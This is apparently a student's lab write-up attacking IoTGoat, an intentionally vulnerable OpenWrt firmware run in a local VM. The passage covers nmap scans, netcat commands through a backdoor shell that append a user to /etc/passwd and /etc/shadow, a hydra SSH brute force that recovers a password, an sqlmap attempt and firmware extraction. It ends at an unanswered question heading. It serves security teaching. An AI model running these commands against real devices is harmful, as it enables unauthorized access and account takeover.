#+TITLE: Vulnerability Analysis - Writeup #+SETUPFILE: ~/Templates/Org-Mode/setupfile.org #+OPTIONS: toc:t * Vulnerabilty Analysis Given files: #+begin_src sh :results output :exports both :cache yes ls ./data/ -lA #+end_src #+RESULTS[b2b904e2665f4fe09a69e1facbda3d22aa1d52a2]: : total 17492 : -rw-r--r-- 1 tuan tuan 424 Jun 29 13:33 passwords.txt : -rw-r--r-- 1 tuan tuan 8126464 Jun 29 13:33 Syssec IoT Device.bin : -rw-r--r-- 1 tuan tuan 9778176 Jun 29 13:33 Sysssec IoT Device.ova - ~passwords.txt~: Password list for brute forcing #+begin_src sh :results output :exports both :cache yes file ./data/passwords.txt #+end_src #+RESULTS[9887fd52d26be897f6fa843f548990b642144182]: : ./data/passwords.txt: ASCII text - ~Syssec IoT Device.bin~: Firmware binary of target for static analysis #+begin_src sh :results output :exports both :cache yes file ./data/Syssec\ IoT\ Device.bin #+end_src #+RESULTS[ff51c377441d9f7dfd0c734d31c0893feeede0a8]: : ./data/Syssec IoT Device.bin: firmware 4300 v1 OpenWrt r16916-7f946a880a, 8126464 bytes or less, at 0x200 2054221 bytes , at 0x1f5a50 2813038 bytes - ~Sysssec IoT Device.ova~: Virtual Box image of target for dynamic analysis #+begin_src sh :results output :exports both :cache yes file ./data/Sysssec\ IoT\ Device.ova #+end_src #+RESULTS[53c007a32b9011d7a105840e3be7f389f9b36f8f]: : ./data/Sysssec IoT Device.ova: POSIX tar archive ** Run device I import the ~Syssec IoT Device.ova~ file into VirtualBox, which resulted in multiple errors. - Network Error #+begin_example Could not start the machine Sysssec IoT Device because the following physical network interfaces Ire not found: vboxnet0 (adapter 1) You can either change the machine's network settings or stop the machine. #+end_example To fix this error I had to attatch a virtual networking device to the Virtual Machine (VM), I chose Network address translation (NAT). - USB Error After fixing the previous error a new error occured #+begin_example Implementation of the USB 2.0 controller not found! Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings. Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND). #+end_example The error message instructs us to install the ~Oracle VM VirtualBox Extension Pack~, lead the the same error. So I tried to disable USB 2.0 support as the error message suggests, which made it possible to boot up the VM. ** Obtain IP address Obtaining the devices IP address proved difficult as I had no ~vboxnet0~ interface. To do this I had to add a network interface on the Virtual Box management interface. After doing that I got the necessary network interface. #+begin_src sh :results output :exports both :cache yes ifconfig vboxnet0 #+end_src #+RESULTS[9d5f961de2b4099f71f6cf401b22583d3a072f1c]: : vboxnet0: flags=4163 mtu 1500 : inet 192.168.56.1 netmask 255.255.255.0 broadcast 192.168.56.255 : inet6 fe80::800:27ff:fe00:0 prefixlen 64 scopeid 0x20 : ether 0a:00:27:00:00:00 txqueuelen 1000 (Ethernet) : RX packets 0 bytes 0 (0.0 B) : RX errors 0 dropped 0 overruns 0 frame 0 : TX packets 1072 bytes 48322 (47.1 KiB) : TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 : Afterwards an arpscan was possible: #+begin_src sh :results output :exports both :cache yes :dir /sudo::. :async arp-scan --interface vboxnet0 --local #+end_src #+RESULTS[6cf7ca6c49cdd14e88679b74c1caacd634f3f90a]: : Interface: vboxnet0, type: EN10MB, MAC: 0a:00:27:00:00:00, IPv4: 192.168.56.1 : Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) : 192.168.56.100 08:00:27:9c:58:bf PCS Systemtechnik GmbH : 192.168.56.101 08:00:27:ec:b3:cb PCS Systemtechnik GmbH : : 2 packets received by filter, 0 packets dropped by kernel : Ending arp-scan 1.9.7: 256 hosts scanned in 1.975 seconds (129.62 hosts/sec). 2 responded This yielded us two IP Addresses: - 192.168.56.100 - 192.168.56.101 ** Vulnerable network services Scanning both devices with nmap shows, that ~192.168.56.100~ doesn't have open ports, so it doesnt seem to be our target device. Here I simply create a variable for our targets IP-address, so we don't have to remember it and enter it manually. #+begin_src sh :exports both :cache yes TARGET=192.168.56.101 echo $TARGET #+end_src #+RESULTS[e651e12124dbd06fdedd668151d35ece3ac2dd42]: : 192.168.56.101 nmap on ~192.168.56.101~ returns the following result: #+begin_src sh :results output :exports both :cache yes :eval query :var TARGET="192.168.56.101" :async nmap $TARGET -p- #+end_src #+RESULTS[abdd9931accb0b2a75ae935a706feaf4d361f9c7]: #+begin_example Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 14:50 CEST Nmap scan report for 192.168.56.101 Host is up (0.00076s latency). Not shown: 65529 closed ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 443/tcp open https 5515/tcp open unknown 65534/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 2626.73 seconds #+end_example After determining the open ports we can do a service scan(~-sV~) to find out which public facing services are running on the device. #+begin_src sh :results output :exports both :cache yes :eval query :var TARGET="192.168.56.101" :async nmap $TARGET -sV -sC -p22,53,80,443,5515, 65534 #+end_src #+RESULTS[e38ef99c5c3c754b54d93c59593bdb167a14bfda]: #+begin_example Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 15:58 CEST Nmap scan report for 192.168.56.101 Host is up (0.00058s latency). PORT STATE SERVICE VERSION 22/tcp open ssh Dropbear sshd (protocol 2.0) 53/tcp open domain dnsmasq 2.73 | dns-nsid: |_ bind.version: dnsmasq-2.73 80/tcp open http LuCI Lua http config |_http-title: Did not follow redirect to https://192.168.56.101/ 443/tcp open ssl/http LuCI Lua http config |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=OpenWrt/organizationName=OpenWrtb63cc26f/stateOrProvinceName=Somewhere/countryName=ZZ | Not valid before: 2021-06-10T16:38:31 |_Not valid after: 2023-06-10T16:38:31 |_ssl-date: 2021-06-30T14:01:34+00:00; -2s from scanner time. 5515/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, SMBProgNeg, SSLSessionReq, X11Probe: | [***]Successfully Connected to IoTGoat's Backdoor[***] | GenericLines: | [***]Successfully Connected to IoTGoat's Backdoor[***] | found | found | GetRequest: | [***]Successfully Connected to IoTGoat's Backdoor[***] | GET: not found | found | HTTPOptions, RTSPRequest: | [***]Successfully Connected to IoTGoat's Backdoor[***] | OPTIONS: not found | found | Help: | [***]Successfully Connected to IoTGoat's Backdoor[***] | HELP | found | Kerberos: | [***]Successfully Connected to IoTGoat's Backdoor[***] | found | RPCCheck: | [***]Successfully Connected to IoTGoat's Backdoor[***] | syntax error: unexpected word (expecting ")") | TLSSessionReq: | [***]Successfully Connected to IoTGoat's Backdoor[***] | random1random2random3random4 | found | TerminalServerCookie: | [***]Successfully Connected to IoTGoat's Backdoor[***] |_ Cookie:: not found 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5515-TCP:V=7.91%I=7%D=6/30%Time=60DC789C%P=x86_64-unknown-linux-gnu SF:%r(NULL,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B SF:ackdoor\[\*\*\*\]\n")%r(GenericLines,59,"\[\*\*\*\]Successfully\x20Conn SF:ected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20\r:\x20not\x20fo SF:und\nsh:\x20\r:\x20not\x20found\n")%r(GetRequest,5B,"\[\*\*\*\]Successf SF:ully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20GET: SF:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(HTTPOptions,5F,"\[\* SF:\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\ SF:]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(RT SF:SPRequest,5F,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x2 SF:0Backdoor\[\*\*\*\]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not SF:\x20found\n")%r(RPCCheck,69,"\[\*\*\*\]Successfully\x20Connected\x20to\ SF:x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20syntax\x20error:\x20unexpect SF:ed\x20word\x20\(expecting\x20\"\)\"\)\n")%r(DNSVersionBindReqTCP,37,"\[ SF:\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\ SF:*\]\n")%r(DNSStatusRequestTCP,37,"\[\*\*\*\]Successfully\x20Connected\x SF:20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(Help,4C,"\[\*\*\*\]Succes SF:sfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20HE SF:LP\r:\x20not\x20found\n")%r(SSLSessionReq,37,"\[\*\*\*\]Successfully\x2 SF:0Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(TerminalServe SF:rCookie,52,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B SF:ackdoor\[\*\*\*\]\nsh:\x20\x03\*%\xe0Cookie::\x20not\x20found\n")%r(TLS SF:SessionReq,70,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x SF:20Backdoor\[\*\*\*\]\nsh:\x20\x16\x03i\x01e\x03\x03U\x1c\xa7\xe4random1 SF:random2random3random4\x0c/:\x20not\x20found\n")%r(Kerberos,57,"\[\*\*\* SF:\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\ns SF:h:\x20qj\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01:\x20not\x20foun SF:d\n")%r(SMBProgNeg,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoT SF:Goat's\x20Backdoor\[\*\*\*\]\n")%r(X11Probe,37,"\[\*\*\*\]Successfully\ SF:x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: -2s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 2 IP addresses (1 host up) scanned in 172.82 seconds #+end_example With the backdoor detected on port ~5515~ we can netcat onto it and get a shell. To add the user =tuan= with the password =password= we executed the following code snippets: #+begin_src sh :results output :exports code :cache yes :var TARGET="192.168.56.101" :async echo "echo tuan:x:1001:1001::/root:/bin/ash >> /etc/passwd;exit" | nc -nv $TARGET 5515 echo 'echo tuan:\$1\$123456\$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7::: >> /etc/shadow;exit' | nc -nv $TARGET 5515 echo "tuan:x:1001:1001::/root:/bin/ash" echo 'tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7:::' #+end_src #+RESULTS[039dc4a8dc6a45686ec7e97d0ac51c628ce93b00]: : [***]Successfully Connected to IoTGoat's Backdoor[***] : [***]Successfully Connected to IoTGoat's Backdoor[***] : tuan:x:1001:1001::/root:/bin/ash : tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7::: Afterwards we were able to log into our user via ~ssh~ The password was generated with #+begin_src sh :exports code :cache yes openssl passwd -1 -salt 123456 password #+end_src #+RESULTS[fd600f0a8ab1f15294d0abffc27f4f11ff37c46b]: : $1$123456$qqQvjw0PqIk7otmzNsUIN0 ** Brute-force Login To brute force login via ~ssh~ on the user =iotgoatuser= we simply ran #+begin_src sh :results output :exports both :cache yes :var TARGET="192.168.56.101" :async hydra -l iotgoatuser -P ./data/passwords.txt ssh://$TARGET -t 4 -f #+end_src #+RESULTS[42182e6d888539352b4c89c24f7f634924c5b5f5]: : Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). : : Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-30 18:45:45 : [DATA] max 4 tasks per 1 server, overall 4 tasks, 60 login tries (l:1/p:60), ~15 tries per task : [DATA] attacking ssh://192.168.56.101:22/ : [22][ssh] host: 192.168.56.101 login: iotgoatuser password: 7ujMko0vizxv : [STATUS] attack finished for 192.168.56.101 (valid pair found) : 1 of 1 target successfully completed, 1 valid password found : Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-30 18:45:51 Another way would have been to get the ~/etc/shadow~ entry of ~iotgoatuser~ and cracking it localy with john to circumvent any restrictions given by ~ssh~ like ~fail2ban~ etc. (even though restrictions like that are unlikly on an IoT device). ** Man-in-the-middle Attack When visiting the webinterface of the IoT device we are greeted with =Warning: Potential Security Risk Ahead=, when using Firefox #+begin_example Warning: Potential Security Risk Ahead Firefox detected a potential security threat and did not continue to 192.168.56.101. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details. #+end_example When pressing on =Advanced...= we get some additional information about the error. #+begin_example 192.168.56.101 uses an invalid security certificate. The certificate is not trusted because it is self-signed. Error code: MOZILLA_PKIX_ERROR_SELF_SIGNED_CERT #+end_example *** Why do you get this warning message? The reason why the warning message is shown is: #+begin_example The certificate is not trusted because it is self-signed. #+end_example as stated in the error message. *** What could be done to +get+ prevent this message? One could simply ignore the error by pressing =Accept the Risk and Continue= *** Why is it in general hard to fix this problem for IoT devices? The vendor would have to create an individual certificate for each of his devices. Additionally each IoT device would need to regularily update it's certificate before it expires. *** Analysis Trying to login with the previously obtained credentials: #+begin_example user: iotgoatuser password: 7ujMko0vizxv #+end_example unfortunatly didn't work. **** Burp Suite Firing up Burp and utilizing its internal chromium browser we try to login again. We can see, that our request looked like this: #+begin_example POST /cgi-bin/luci HTTP/1.1 Host: 192.168.56.101 Content-Length: 52 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: https://192.168.56.101 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.56.101/cgi-bin/luci Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close luci_username=iotgoatuser&luci_password=7ujMko0vizxv #+end_example Trying to run sqlmap on the website didn't yield any results. #+begin_src sh :results code :output none :eval no sqlmap -u https://192.168.56.101/cgi-bin/luci --data "luci_username=iotgoatuser&luci_password=7ujMko0vizxv" #+end_src Throwing the original response of the website and the response after entering a wrong username/password combination didn't reveal any additional info. #+CAPTION[authdiff]: Diff default response and "invalid username and/or password" response #+NAME: authdiff [[./21-06-30_15-59-14-java.png]] ** Analysis of Firmware Ima+ga+ge *** Recon #+begin_src sh :results output :exports both binwalk ./data/Syssec\ IoT\ Device.bin #+end_src #+RESULTS: : : DECIMAL HEXADECIMAL DESCRIPTION : -------------------------------------------------------------------------------- : 512 0x200 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 6562339 bytes : 2054736 0x1F5A50 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2813038 bytes, 869 inodes, blocksize: 262144 bytes, created: 2021-06-09 11:16:45 : *** Extraction The extraction is done by using the previously obtained information. #+begin_src sh :exports code :eval no dd if=data/Syssec\ IoT\ Device.bin of=0x1F5A50 bs=1 skip=2054736 count=2813038 unsquashfs 0x1F5A50 #+end_src The extracted filesystem is under ~./squashfs-root/~. *** Analysis **** Are you able to find the passwd and shadow file? What do they contain? #+begin_src sh :results output :exports both :cache yes cat squashfs-root/etc/passwd #+end_src #+RESULTS[bd599bdf9427946dd840747246866b138d5bfdd2]: : root:x:0:0:root:/root:/bin/ash : daemon:*:1:1:daemon:/var:/bin/false : ftp:*:55:55:ftp:/home/ftp:/bin/false : network:*:101:101:network:/var:/bin/false : nobody:*:65534:65534:nobody:/var:/bin/false : ntp:x:123:123:ntp:/var/run/ntp:/bin/false : dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false : logd:x:514:514:logd:/var/run/logd:/bin/false : ubus:x:81:81:ubus:/var/run/ubus:/bin/false #+begin_src sh :results output :exports both :cache yes cat squashfs-root/etc/shadow #+end_src #+RESULTS[d9dfe9a0e2a42424fee063c6190ed3b715ff967e]: : root::0:0:99999:7::: : daemon:*:0:0:99999:7::: : ftp:*:0:0:99999:7::: : network:*:0:0:99999:7::: : nobody:*:0:0:99999:7::: : ntp:x:0:0:99999:7::: : dnsmasq:x:0:0:99999:7::: : logd:x:0:0:99999:7::: : ubus:x:0:0:99999:7::: **** Do you find certificates? #+begin_src sh :results output :exports both :cache yes find squashfs-root/ -name "*.crt" #+end_src #+RESULTS[d7b10ade4d4eb27ef98ba27e87a87601d79a9c0f]: : squashfs-root/etc/ssl/certs/ca-certificates.crt **** Can you find the secret developer diagnostics page?